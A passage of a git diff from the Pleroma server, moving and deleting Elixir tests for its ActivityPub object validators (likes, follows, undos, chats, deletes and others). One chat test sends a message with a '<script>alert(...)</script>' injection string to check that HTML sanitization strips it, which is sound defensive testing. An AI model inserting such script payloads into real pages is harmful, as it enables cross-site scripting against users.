Pleroma.Web.ActivityPub.Builder + alias Pleroma.Web.ActivityPub.ObjectValidator + + import Pleroma.Factory + + describe "Follows" do + setup do + follower = insert(:user) + followed = insert(:user) + + {:ok, valid_follow, []} = Builder.follow(follower, followed) + %{follower: follower, followed: followed, valid_follow: valid_follow} + end + + test "validates a basic follow object", %{valid_follow: valid_follow} do + assert {:ok, _follow, []} = ObjectValidator.validate(valid_follow, []) + end + end +end diff --git a/test/pleroma/web/activity_pub/object_validators/like_validation_test.exs b/test/pleroma/web/activity_pub/object_validators/like_validation_test.exs new file mode 100644 index 000000000..2c033b7e2 --- /dev/null +++ b/test/pleroma/web/activity_pub/object_validators/like_validation_test.exs @@ -0,0 +1,113 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.ObjectValidators.LikeValidationTest do + use Pleroma.DataCase + + alias Pleroma.Web.ActivityPub.ObjectValidator + alias Pleroma.Web.ActivityPub.ObjectValidators.LikeValidator + alias Pleroma.Web.ActivityPub.Utils + alias Pleroma.Web.CommonAPI + + import Pleroma.Factory + + describe "likes" do + setup do + user = insert(:user) + {:ok, post_activity} = CommonAPI.post(user, %{status: "uguu"}) + + valid_like = %{ + "to" => [user.ap_id], + "cc" => [], + "type" => "Like", + "id" => Utils.generate_activity_id(), + "object" => post_activity.data["object"], + "actor" => user.ap_id, + "context" => "a context" + } + + %{valid_like: valid_like, user: user, post_activity: post_activity} + end + + test "returns ok when called in the ObjectValidator", %{valid_like: valid_like} do + {:ok, object, _meta} = ObjectValidator.validate(valid_like, []) + + assert "id" in Map.keys(object) + end + + test "is valid for a valid object", %{valid_like: valid_like} do + assert LikeValidator.cast_and_validate(valid_like).valid? + end + + test "sets the 'to' field to the object actor if no recipients are given", %{ + valid_like: valid_like, + user: user + } do + without_recipients = + valid_like + |> Map.delete("to") + + {:ok, object, _meta} = ObjectValidator.validate(without_recipients, []) + + assert object["to"] == [user.ap_id] + end + + test "sets the context field to the context of the object if no context is given", %{ + valid_like: valid_like, + post_activity: post_activity + } do + without_context = + valid_like + |> Map.delete("context") + + {:ok, object, _meta} = ObjectValidator.validate(without_context, []) + + assert object["context"] == post_activity.data["context"] + end + + test "it errors when the actor is missing or not known", %{valid_like: valid_like} do + without_actor = Map.delete(valid_like, "actor") + + refute LikeValidator.cast_and_validate(without_actor).valid? + + with_invalid_actor = Map.put(valid_like, "actor", "invalidactor") + + refute LikeValidator.cast_and_validate(with_invalid_actor).valid? + end + + test "it errors when the object is missing or not known", %{valid_like: valid_like} do + without_object = Map.delete(valid_like, "object") + + refute LikeValidator.cast_and_validate(without_object).valid? + + with_invalid_object = Map.put(valid_like, "object", "invalidobject") + + refute LikeValidator.cast_and_validate(with_invalid_object).valid? + end + + test "it errors when the actor has already like the object", %{ + valid_like: valid_like, + user: user, + post_activity: post_activity + } do + _like = CommonAPI.favorite(user, post_activity.id) + + refute LikeValidator.cast_and_validate(valid_like).valid? + end + + test "it works when actor or object are wrapped in maps", %{valid_like: valid_like} do + wrapped_like = + valid_like + |> Map.put("actor", %{"id" => valid_like["actor"]}) + |> Map.put("object", %{"id" => valid_like["object"]}) + + validated = LikeValidator.cast_and_validate(wrapped_like) + + assert validated.valid? + + assert {:actor, valid_like["actor"]} in validated.changes + assert {:object, valid_like["object"]} in validated.changes + end + end +end diff --git a/test/pleroma/web/activity_pub/object_validators/undo_handling_test.exs b/test/pleroma/web/activity_pub/object_validators/undo_handling_test.exs new file mode 100644 index 000000000..75bbcc4b6 --- /dev/null +++ b/test/pleroma/web/activity_pub/object_validators/undo_handling_test.exs @@ -0,0 +1,53 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.ObjectValidators.UndoHandlingTest do + use Pleroma.DataCase + + alias Pleroma.Web.ActivityPub.Builder + alias Pleroma.Web.ActivityPub.ObjectValidator + alias Pleroma.Web.CommonAPI + + import Pleroma.Factory + + describe "Undos" do + setup do + user = insert(:user) + {:ok, post_activity} = CommonAPI.post(user, %{status: "uguu"}) + {:ok, like} = CommonAPI.favorite(user, post_activity.id) + {:ok, valid_like_undo, []} = Builder.undo(user, like) + + %{user: user, like: like, valid_like_undo: valid_like_undo} + end + + test "it validates a basic like undo", %{valid_like_undo: valid_like_undo} do + assert {:ok, _, _} = ObjectValidator.validate(valid_like_undo, []) + end + + test "it does not validate if the actor of the undo is not the actor of the object", %{ + valid_like_undo: valid_like_undo + } do + other_user = insert(:user, ap_id: "https://gensokyo.2hu/users/raymoo") + + bad_actor = + valid_like_undo + |> Map.put("actor", other_user.ap_id) + + {:error, cng} = ObjectValidator.validate(bad_actor, []) + + assert {:actor, {"not the same as object actor", []}} in cng.errors + end + + test "it does not validate if the object is missing", %{valid_like_undo: valid_like_undo} do + missing_object = + valid_like_undo + |> Map.put("object", "https://gensokyo.2hu/objects/1") + + {:error, cng} = ObjectValidator.validate(missing_object, []) + + assert {:object, {"can't find object", []}} in cng.errors + assert length(cng.errors) == 1 + end + end +end diff --git a/test/pleroma/web/activity_pub/object_validators/update_handling_test.exs b/test/pleroma/web/activity_pub/object_validators/update_handling_test.exs new file mode 100644 index 000000000..5e80cf731 --- /dev/null +++ b/test/pleroma/web/activity_pub/object_validators/update_handling_test.exs @@ -0,0 +1,44 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.ObjectValidators.UpdateHandlingTest do + use Pleroma.DataCase + + alias Pleroma.Web.ActivityPub.Builder + alias Pleroma.Web.ActivityPub.ObjectValidator + + import Pleroma.Factory + + describe "updates" do + setup do + user = insert(:user) + + object = %{ + "id" => user.ap_id, + "name" => "A new name", + "summary" => "A new bio" + } + + {:ok, valid_update, []} = Builder.update(user, object) + + %{user: user, valid_update: valid_update} + end + + test "validates a basic object", %{valid_update: valid_update} do + assert {:ok, _update, []} = ObjectValidator.validate(valid_update, []) + end + + test "returns an error if the object can't be updated by the actor", %{ + valid_update: valid_update + } do + other_user = insert(:user) + + update = + valid_update + |> Map.put("actor", other_user.ap_id) + + assert {:error, _cng} = ObjectValidator.validate(update, []) + end + end +end diff --git a/test/web/activity_pub/object_validators/announce_validation_test.exs b/test/web/activity_pub/object_validators/announce_validation_test.exs deleted file mode 100644 index 623342f76..000000000 --- a/test/web/activity_pub/object_validators/announce_validation_test.exs +++ /dev/null @@ -1,106 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.ObjectValidators.AnnouncValidationTest do - use Pleroma.DataCase - - alias Pleroma.Object - alias Pleroma.Web.ActivityPub.Builder - alias Pleroma.Web.ActivityPub.ObjectValidator - alias Pleroma.Web.CommonAPI - - import Pleroma.Factory - - describe "announces" do - setup do - user = insert(:user) - announcer = insert(:user) - {:ok, post_activity} = CommonAPI.post(user, %{status: "uguu"}) - - object = Object.normalize(post_activity, false) - {:ok, valid_announce, []} = Builder.announce(announcer, object) - - %{ - valid_announce: valid_announce, - user: user, - post_activity: post_activity, - announcer: announcer - } - end - - test "returns ok for a valid announce", %{valid_announce: valid_announce} do - assert {:ok, _object, _meta} = ObjectValidator.validate(valid_announce, []) - end - - test "returns an error if the object can't be found", %{valid_announce: valid_announce} do - without_object = - valid_announce - |> Map.delete("object") - - {:error, cng} = ObjectValidator.validate(without_object, []) - - assert {:object, {"can't be blank", [validation: :required]}} in cng.errors - - nonexisting_object = - valid_announce - |> Map.put("object", "https://gensokyo.2hu/objects/99999999") - - {:error, cng} = ObjectValidator.validate(nonexisting_object, []) - - assert {:object, {"can't find object", []}} in cng.errors - end - - test "returns an error if we don't have the actor", %{valid_announce: valid_announce} do - nonexisting_actor = - valid_announce - |> Map.put("actor", "https://gensokyo.2hu/users/raymoo") - - {:error, cng} = ObjectValidator.validate(nonexisting_actor, []) - - assert {:actor, {"can't find user", []}} in cng.errors - end - - test "returns an error if the actor already announced the object", %{ - valid_announce: valid_announce, - announcer: announcer, - post_activity: post_activity - } do - _announce = CommonAPI.repeat(post_activity.id, announcer) - - {:error, cng} = ObjectValidator.validate(valid_announce, []) - - assert {:actor, {"already announced this object", []}} in cng.errors - assert {:object, {"already announced by this actor", []}} in cng.errors - end - - test "returns an error if the actor can't announce the object", %{ - announcer: announcer, - user: user - } do - {:ok, post_activity} = - CommonAPI.post(user, %{status: "a secret post", visibility: "private"}) - - object = Object.normalize(post_activity, false) - - # Another user can't announce it - {:ok, announce, []} = Builder.announce(announcer, object, public: false) - - {:error, cng} = ObjectValidator.validate(announce, []) - - assert {:actor, {"can not announce this object", []}} in cng.errors - - # The actor of the object can announce it - {:ok, announce, []} = Builder.announce(user, object, public: false) - - assert {:ok, _, _} = ObjectValidator.validate(announce, []) - - # The actor of the object can not announce it publicly - {:ok, announce, []} = Builder.announce(user, object, public: true) - - {:error, cng} = ObjectValidator.validate(announce, []) - - assert {:actor, {"can not announce this object publicly", []}} in cng.errors - end - end -end diff --git a/test/web/activity_pub/object_validators/attachment_validator_test.exs b/test/web/activity_pub/object_validators/attachment_validator_test.exs deleted file mode 100644 index 558bb3131..000000000 --- a/test/web/activity_pub/object_validators/attachment_validator_test.exs +++ /dev/null @@ -1,74 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.ObjectValidators.AttachmentValidatorTest do - use Pleroma.DataCase - - alias Pleroma.Web.ActivityPub.ActivityPub - alias Pleroma.Web.ActivityPub.ObjectValidators.AttachmentValidator - - import Pleroma.Factory - - describe "attachments" do - test "works with honkerific attachments" do - attachment = %{ - "mediaType" => "", - "name" => "", - "summary" => "298p3RG7j27tfsZ9RQ.jpg", - "type" => "Document", - "url" => "https://honk.tedunangst.com/d/298p3RG7j27tfsZ9RQ.jpg" - } - - assert {:ok, attachment} = - AttachmentValidator.cast_and_validate(attachment) - |> Ecto.Changeset.apply_action(:insert) - - assert attachment.mediaType == "application/octet-stream" - end - - test "it turns mastodon attachments into our attachments" do - attachment = %{ - "url" => - "http://mastodon.example.org/system/media_attachments/files/000/000/002/original/334ce029e7bfb920.jpg", - "type" => "Document", - "name" => nil, - "mediaType" => "image/jpeg" - } - - {:ok, attachment} = - AttachmentValidator.cast_and_validate(attachment) - |> Ecto.Changeset.apply_action(:insert) - - assert [ - %{ - href: - "http://mastodon.example.org/system/media_attachments/files/000/000/002/original/334ce029e7bfb920.jpg", - type: "Link", - mediaType: "image/jpeg" - } - ] = attachment.url - - assert attachment.mediaType == "image/jpeg" - end - - test "it handles our own uploads" do - user = insert(:user) - - file = %Plug.Upload{ - content_type: "image/jpg", - path: Path.absname("test/fixtures/image.jpg"), - filename: "an_image.jpg" - } - - {:ok, attachment} = ActivityPub.upload(file, actor: user.ap_id) - - {:ok, attachment} = - attachment.data - |> AttachmentValidator.cast_and_validate() - |> Ecto.Changeset.apply_action(:insert) - - assert attachment.mediaType == "image/jpeg" - end - end -end diff --git a/test/web/activity_pub/object_validators/block_validation_test.exs b/test/web/activity_pub/object_validators/block_validation_test.exs deleted file mode 100644 index c08d4b2e8..000000000 --- a/test/web/activity_pub/object_validators/block_validation_test.exs +++ /dev/null @@ -1,39 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.ObjectValidators.BlockValidationTest do - use Pleroma.DataCase - - alias Pleroma.Web.ActivityPub.Builder - alias Pleroma.Web.ActivityPub.ObjectValidator - - import Pleroma.Factory - - describe "blocks" do - setup do - user = insert(:user, local: false) - blocked = insert(:user) - - {:ok, valid_block, []} = Builder.block(user, blocked) - - %{user: user, valid_block: valid_block} - end - - test "validates a basic object", %{ - valid_block: valid_block - } do - assert {:ok, _block, []} = ObjectValidator.validate(valid_block, []) - end - - test "returns an error if we don't know the blocked user", %{ - valid_block: valid_block - } do - block = - valid_block - |> Map.put("object", "https://gensokyo.2hu/users/raymoo") - - assert {:error, _cng} = ObjectValidator.validate(block, []) - end - end -end diff --git a/test/web/activity_pub/object_validators/chat_validation_test.exs b/test/web/activity_pub/object_validators/chat_validation_test.exs deleted file mode 100644 index 16e4808e5..000000000 --- a/test/web/activity_pub/object_validators/chat_validation_test.exs +++ /dev/null @@ -1,212 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.ObjectValidators.ChatValidationTest do - use Pleroma.DataCase - alias Pleroma.Object - alias Pleroma.Web.ActivityPub.ActivityPub - alias Pleroma.Web.ActivityPub.Builder - alias Pleroma.Web.ActivityPub.ObjectValidator - alias Pleroma.Web.CommonAPI - - import Pleroma.Factory - - describe "chat message create activities" do - test "it is invalid if the object already exists" do - user = insert(:user) - recipient = insert(:user) - {:ok, activity} = CommonAPI.post_chat_message(user, recipient, "hey") - object = Object.normalize(activity, false) - - {:ok, create_data, _} = Builder.create(user, object.data, [recipient.ap_id]) - - {:error, cng} = ObjectValidator.validate(create_data, []) - - assert {:object, {"The object to create already exists", []}} in cng.errors - end - - test "it is invalid if the object data has a different `to` or `actor` field" do - user = insert(:user) - recipient = insert(:user) - {:ok, object_data, _} = Builder.chat_message(recipient, user.ap_id, "Hey") - - {:ok, create_data, _} = Builder.create(user, object_data, [recipient.ap_id]) - - {:error, cng} = ObjectValidator.validate(create_data, []) - - assert {:to, {"Recipients don't match with object recipients", []}} in cng.errors - assert {:actor, {"Actor doesn't match with object actor", []}} in cng.errors - end - end - - describe "chat messages" do - setup do - clear_config([:instance, :remote_limit]) - user = insert(:user) - recipient = insert(:user, local: false) - - {:ok, valid_chat_message, _} = Builder.chat_message(user, recipient.ap_id, "hey :firefox:") - - %{user: user, recipient: recipient, valid_chat_message: valid_chat_message} - end - - test "let's through some basic html", %{user: user, recipient: recipient} do - {:ok, valid_chat_message, _} = - Builder.chat_message( - user, - recipient.ap_id, - "hey <a href='https://example.org'>example</a> <script>alert('uguu')</script>" - ) - - assert {:ok, object, _meta} = ObjectValidator.validate(valid_chat_message, []) - - assert object["content"] == - "hey <a href=\"https://example.org\">example</a> alert('uguu')" - end - - test "validates for a basic object we build", %{valid_chat_message: valid_chat_message} do - assert {:ok, object, _meta} = ObjectValidator.validate(valid_chat_message, []) - - assert Map.put(valid_chat_message, "attachment", nil) == object - assert match?(%{"firefox" => _}, object["emoji"]) - end - - test "validates for a basic object with an attachment", %{ - valid_chat_message: valid_chat_message, - user: user - } do - file = %Plug.Upload{ - content_type: "image/jpg", - path: Path.absname("test/fixtures/image.jpg"), - filename: "an_image.jpg" - } - - {:ok, attachment} = ActivityPub.upload(file, actor: user.ap_id) - - valid_chat_message = - valid_chat_message - |> Map.put("attachment", attachment.data) - - assert {:ok, object, _meta} = ObjectValidator.validate(valid_chat_message, []) - - assert object["attachment"] - end - - test "validates for a basic object with an attachment in an array", %{ - valid_chat_message: valid_chat_message, - user: user - } do - file = %Plug.Upload{ - content_type: "image/jpg", - path: Path.absname("test/fixtures/image.jpg"), - filename: "an_image.jpg" - } - - {:ok, attachment} = ActivityPub.upload(file, actor: user.ap_id) - - valid_chat_message = - valid_chat_message - |> Map.put("attachment", [attachment.data]) - - assert {:ok, object, _meta} = ObjectValidator.validate(valid_chat_message, []) - - assert object["attachment"] - end - - test "validates for a basic object with an attachment but without content", %{ - valid_chat_message: valid_chat_message, - user: user - } do - file = %Plug.Upload{ - content_type: "image/jpg", - path: Path.absname("test/fixtures/image.jpg"), - filename: "an_image.jpg" - } - - {:ok, attachment} = ActivityPub.upload(file, actor: user.ap_id) - - valid_chat_message = - valid_chat_message - |> Map.put("attachment", attachment.data) - |> Map.delete("content") - - assert {:ok, object, _meta} = ObjectValidator.validate(valid_chat_message, []) - - assert object["attachment"] - end - - test "does not validate if the message has no content", %{ - valid_chat_message: valid_chat_message - } do - contentless = - valid_chat_message - |> Map.delete("content") - - refute match?({:ok, _object, _meta}, ObjectValidator.validate(contentless, [])) - end - - test "does not validate if the message is longer than the remote_limit", %{ - valid_chat_message: valid_chat_message - } do - Pleroma.Config.put([:instance, :remote_limit], 2) - refute match?({:ok, _object, _meta}, ObjectValidator.validate(valid_chat_message, [])) - end - - test "does not validate if the recipient is blocking the actor", %{ - valid_chat_message: valid_chat_message, - user: user, - recipient: recipient - } do - Pleroma.User.block(recipient, user) - refute match?({:ok, _object, _meta}, ObjectValidator.validate(valid_chat_message, [])) - end - - test "does not validate if the recipient is not accepting chat messages", %{ - valid_chat_message: valid_chat_message, - recipient: recipient - } do - recipient - |> Ecto.Changeset.change(%{accepts_chat_messages: false}) - |> Pleroma.Repo.update!() - - refute match?({:ok, _object, _meta}, ObjectValidator.validate(valid_chat_message, [])) - end - - test "does not validate if the actor or the recipient is not in our system", %{ - valid_chat_message: valid_chat_message - } do - chat_message = - valid_chat_message - |> Map.put("actor", "https://raymoo.com/raymoo") - - {:error, _} = ObjectValidator.validate(chat_message, []) - - chat_message = - valid_chat_message - |> Map.put("to", ["https://raymoo.com/raymoo"]) - - {:error, _} = ObjectValidator.validate(chat_message, []) - end - - test "does not validate for a message with multiple recipients", %{ - valid_chat_message: valid_chat_message, - user: user, - recipient: recipient - } do - chat_message = - valid_chat_message - |> Map.put("to", [user.ap_id, recipient.ap_id]) - - assert {:error, _} = ObjectValidator.validate(chat_message, []) - end - - test "does not validate if it doesn't concern local users" do - user = insert(:user, local: false) - recipient = insert(:user, local: false) - - {:ok, valid_chat_message, _} = Builder.chat_message(user, recipient.ap_id, "hey") - assert {:error, _} = ObjectValidator.validate(valid_chat_message, []) - end - end -end diff --git a/test/web/activity_pub/object_validators/delete_validation_test.exs b/test/web/activity_pub/object_validators/delete_validation_test.exs deleted file mode 100644 index 02683b899..000000000 --- a/test/web/activity_pub/object_validators/delete_validation_test.exs +++ /dev/null @@ -1,106 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.ObjectValidators.DeleteValidationTest do - use Pleroma.DataCase - - alias Pleroma.Object - alias Pleroma.Web.ActivityPub.Builder - alias Pleroma.Web.ActivityPub.ObjectValidator - alias Pleroma.Web.CommonAPI - - import Pleroma.Factory - - describe "deletes" do - setup do - user = insert(:user) - {:ok, post_activity} = CommonAPI.post(user, %{status: "cancel me daddy"}) - - {:ok, valid_post_delete, _} = Builder.delete(user, post_activity.data["object"]) - {:ok, valid_user_delete, _} = Builder.delete(user, user.ap_id) - - %{user: user, valid_post_delete: valid_post_delete, valid_user_delete: valid_user_delete} - end - - test "it is valid for a post deletion", %{valid_post_delete: valid_post_delete} do - {:ok, valid_post_delete, _} = ObjectValidator.validate(valid_post_delete, []) - - assert valid_post_delete["deleted_activity_id"] - end - - test "it is invalid if the object isn't in a list of certain types", %{ - valid_post_delete: valid_post_delete - } do - object = Object.get_by_ap_id(valid_post_delete["object"]) - - data = - object.data - |> Map.put("type", "Like") - - {:ok, _object} = - object - |> Ecto.Changeset.change(%{data: data}) - |> Object.update_and_set_cache() - - {:error, cng} = ObjectValidator.validate(valid_post_delete, []) - assert {:object, {"object not in allowed types", []}} in cng.errors - end - - test "it is valid for a user deletion", %{valid_user_delete: valid_user_delete} do - assert match?({:ok, _, _}, ObjectValidator.validate(valid_user_delete, [])) - end - - test "it's invalid if the id is missing", %{valid_post_delete: valid_post_delete} do - no_id = - valid_post_delete - |> Map.delete("id") - - {:error, cng} = ObjectValidator.validate(no_id, []) - - assert {:id, {"can't be blank", [validation: :required]}} in cng.errors - end - - test "it's invalid if the object doesn't exist", %{valid_post_delete: valid_post_delete} do - missing_object = - valid_post_delete - |> Map.put("object", "http://does.not/exist") - - {:error, cng} = ObjectValidator.validate(missing_object, []) - - assert {:object, {"can't find object", []}} in cng.errors - end - - test "it's invalid if the actor of the object and the actor of delete are from different domains", - %{valid_post_delete: valid_post_delete} do - valid_user = insert(:user) - - valid_other_actor = - valid_post_delete - |> Map.put("actor", valid_user.ap_id) - - assert match?({:ok, _, _}, ObjectValidator.validate(valid_other_actor, [])) - - invalid_other_actor = - valid_post_delete - |> Map.put("actor", "https://gensokyo.2hu/users/raymoo") - - {:error, cng} = ObjectValidator.validate(invalid_other_actor, []) - - assert {:actor, {"is not allowed to modify object", []}} in cng.errors - end - - test "it's valid if the actor of the object is a local superuser", - %{valid_post_delete: valid_post_delete} do - user = - insert(:user, local: true, is_moderator: true, ap_id: "https://gensokyo.2hu/users/raymoo") - - valid_other_actor = - valid_post_delete - |> Map.put("actor", user.ap_id) - - {:ok, _, meta} = ObjectValidator.validate(valid_other_actor, []) - assert meta[:do_not_federate] - end - end -end diff --git a/test/web/activity_pub/object_validators/emoji_react_validation_test.exs b/test/web/activity_pub/object_validators/emoji_react_validation_test.exs deleted file mode 100644 index 582e6d785..000000000 --- a/test/web/activity_pub/object_validators/emoji_react_validation_test.exs +++ /dev/null @@ -1,53 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.ObjectValidators.EmojiReactHandlingTest do - use Pleroma.DataCase - - alias Pleroma.Web.ActivityPub.Builder - alias Pleroma.Web.ActivityPub.ObjectValidator - alias Pleroma.Web.CommonAPI - - import Pleroma.Factory - - describe "EmojiReacts" do - setup do - user = insert(:user) - {:ok, post_activity} = CommonAPI.post(user, %{status: "uguu"}) - - object = Pleroma.Object.get_by_ap_id(post_activity.data["object"]) - - {:ok, valid_emoji_react, []} = Builder.emoji_react(user, object, "👌") - - %{user: user, post_activity: post_activity, valid_emoji_react: valid_emoji_react} - end - - test "it validates a valid EmojiReact", %{valid_emoji_react: valid_emoji_react} do - assert {:ok, _, _} = ObjectValidator.validate(valid_emoji_react, []) - end - - test "it is not valid without a 'content' field", %{valid_emoji_react: valid_emoji_react} do - without_content = - valid_emoji_react - |> Map.delete("content") - - {:error, cng} = ObjectValidator.validate(without_content, []) - - refute cng.valid? - assert {:content, {"can't be blank", [validation: :required]}} in cng.errors - end - - test "it is not valid with a non-emoji content field", %{valid_emoji_react: valid_emoji_react} do - without_emoji_content = - valid_emoji_react - |> Map.put("content", "x") - - {:error, cng} = ObjectValidator.validate(without_emoji_content, []) - - refute cng.valid? - - assert {:content, {"must be a single character emoji", []}} in cng.errors - end - end -end diff --git a/test/web/activity_pub/object_validators/follow_validation_test.exs b/test/web/activity_pub/object_validators/follow_validation_test.exs deleted file mode 100644 index 6e1378be2..000000000 --- a/test/web/activity_pub/object_validators/follow_validation_test.exs +++ /dev/null @@ -1,26 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.ObjectValidators.FollowValidationTest do - use Pleroma.DataCase - - alias Pleroma.Web.ActivityPub.Builder - alias Pleroma.Web.ActivityPub.ObjectValidator - - import Pleroma.Factory - - describe "Follows" do - setup do - follower = insert(:user) - followed = insert(:user) - - {:ok, valid_follow, []} = Builder.follow(follower, followed) - %{follower: follower, followed: followed, valid_follow: valid_follow} - end - - test "validates a basic follow object", %{valid_follow: valid_follow} do - assert {:ok, _follow, []} = ObjectValidator.validate(valid_follow, []) - end - end -end diff --git a/test/web/activity_pub/object_validators/like_validation_test.exs b/test/web/activity_pub/object_validators/like_validation_test.exs deleted file mode 100644 index 2c033b7e2..000000000 --- a/test/web/activity_pub/object_validators/like_validation_test.exs +++ /dev/null @@ -1,113 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.ObjectValidators.LikeValidationTest do - use Pleroma.DataCase - - alias Pleroma.Web.ActivityPub.ObjectValidator - alias Pleroma.Web.ActivityPub.ObjectValidators.LikeValidator - alias Pleroma.Web.ActivityPub.Utils - alias Pleroma.Web.CommonAPI - - import Pleroma.Factory - - describe "likes" do - setup do - user = insert(:user) - {:ok, post_activity} = CommonAPI.post(user, %{status: "uguu"}) - - valid_like = %{ - "to" => [user.ap_id], - "cc" => [], - "type" => "Like", - "id" => Utils.generate_activity_id(), - "object" => post_activity.data["object"], - "actor" => user.ap_id, - "context" => "a context" - } - - %{valid_like: valid_like, user: user, post_activity: post_activity} - end - - test "returns ok when called in the ObjectValidator", %{valid_like: valid_like} do - {:ok, object, _meta} = ObjectValidator.validate(valid_like, []) - - assert "id" in Map.keys(object) - end - - test "is valid for a valid object", %{valid_like: valid_like} do - assert LikeValidator.cast_and_validate(valid_like).valid? - end - - test "sets the 'to' field to the object actor if no recipients are given", %{ - valid_like: valid_like, - user: user - } do - without_recipients = - valid_like - |> Map.delete("to") - - {:ok, object, _meta} = ObjectValidator.validate(without_recipients, []) - - assert object["to"] == [user.ap_id] - end - - test "sets the context field to the context of the object if no context is given", %{ - valid_like: valid_like, - post_activity: post_activity - } do - without_context = - valid_like - |> Map.delete("context") - - {:ok, object, _meta} = ObjectValidator.validate(without_context, []) - - assert object["context"] == post_activity.data["context"] - end - - test "it errors when the actor is missing or not known", %{valid_like: valid_like} do - without_actor = Map.delete(valid_like, "actor") - - refute LikeValidator.cast_and_validate(without_actor).valid? - - with_invalid_actor = Map.put(valid_like, "actor", "invalidactor") - - refute LikeValidator.cast_and_validate(with_invalid_actor).valid? - end - - test "it errors when the object is missing or not known", %{valid_like: valid_like} do - without_object = Map.delete(valid_like, "object") - - refute LikeValidator.cast_and_validate(without_object).valid? - - with_invalid_object = Map.put(valid_like, "object", "invalidobject") - - refute LikeValidator.cast_and_validate(with_invalid_object).valid? - end - - test "it errors when the actor has already like the object", %{ - valid_like: valid_like, - user: user, - post_activity: post_activity - } do - _like = CommonAPI.favorite(user, post_activity.id) - - refute LikeValidator.cast_and_validate(valid_like).valid? - end - - test "it works when actor or object are wrapped in maps", %{valid_like: valid_like} do - wrapped_like = - valid_like - |> Map.put("actor", %{"id" => valid_like["actor"]}) - |> Map.put("object", %{"id" => valid_like["object"]}) - - validated = LikeValidator.cast_and_validate(wrapped_like) - - assert validated.valid? - - assert {:actor, valid_like["actor"]} in validated.changes - assert {:object, valid_like["object"]} in validated.changes - end - end -end diff --git a/test/web/activity_pub/object_validators/undo_validation_test.exs b/test/web/activity_pub/object_validators/undo_validation_test.exs deleted file mode 100644 index 75bbcc4b6..000000000 --- a/test/web/activity_pub/object_validators/undo_validation_test.exs +++ /dev/null @@ -1,53 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.ObjectValidators.UndoHandlingTest do - use Pleroma.DataCase - - alias Pleroma.Web.ActivityPub.Builder - alias Pleroma.Web.ActivityPub.ObjectValidator - alias Pleroma.Web.CommonAPI - - import Pleroma.Factory - - describe "Undos" do - setup do - user = insert(:user) - {:ok, post_activity} = CommonAPI.post(user, %{status: "uguu"}) - {:ok, like} = CommonAPI.favorite(user, post_activity.id) - {:ok, valid_like_undo, []} = Builder.undo(user, like) - - %{user: user, like: like, valid_like_undo: valid_like_undo} - end - - test "it validates a basic like undo", %{valid_like_undo: valid_like_undo} do - assert {:ok, _, _} = ObjectValidator.validate(valid_like_undo, []) - end - - test "it does not validate if the actor of the undo is not the actor of the object", %{ - valid_like_undo: valid_like_undo - } do - other_user = insert(:user, ap_id: "https://gensokyo.2hu/users/raymoo") - - bad_actor = - valid_like_undo - |> Map.put("actor", other_user.ap_id) - - {:error, cng} = ObjectValidator.validate(bad_actor, []) - - assert {:actor, {"not the same as object actor", []}} in cng.errors - end - - test "it does not validate if the object is missing", %{valid_like_undo: valid_like_undo} do - missing_object = - valid_like_undo - |> Map.put("object", "https://gensokyo.2hu/objects/1") - - {:error, cng} = ObjectValidator.validate(missing_object, []) - - assert {:object, {"can't find object", []}} in cng.errors - assert length(cng.errors) == 1 - end - end -end diff --git a/test/web/activity_pub/object_validators/update_validation_test.exs b/test/web/activity_pub/object_validators/update_validation_test.exs deleted file mode 100644 index 5e80cf731..000000000 --- a/test/web/activity_pub/object_validators/update_validation_test.exs +++ /dev/null @@ -1,44 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.ObjectValidators.UpdateHandlingTest do - use Pleroma.DataCase - - alias Pleroma.Web.ActivityPub.Builder - alias Pleroma.Web.ActivityPub.ObjectValidator - - import Pleroma.Factory - - describe "updates" do - setup do - user = insert(:user) - - object = %{ - "id" => user.ap_id, - "name" => "A new name", - "summary" => "A new bio" - } - - {:ok, valid_update, []} = Builder.update(user, object) - - %{user: user, valid_update: valid_update} - end - - test "validates a basic object", %{valid_update: valid_update} do - assert {:ok, _update, []} = ObjectValidator.validate(valid_update, []) - end - - test "returns an error if the object can't be updated by the actor", %{ - valid_update: valid_update - } do - other_user = 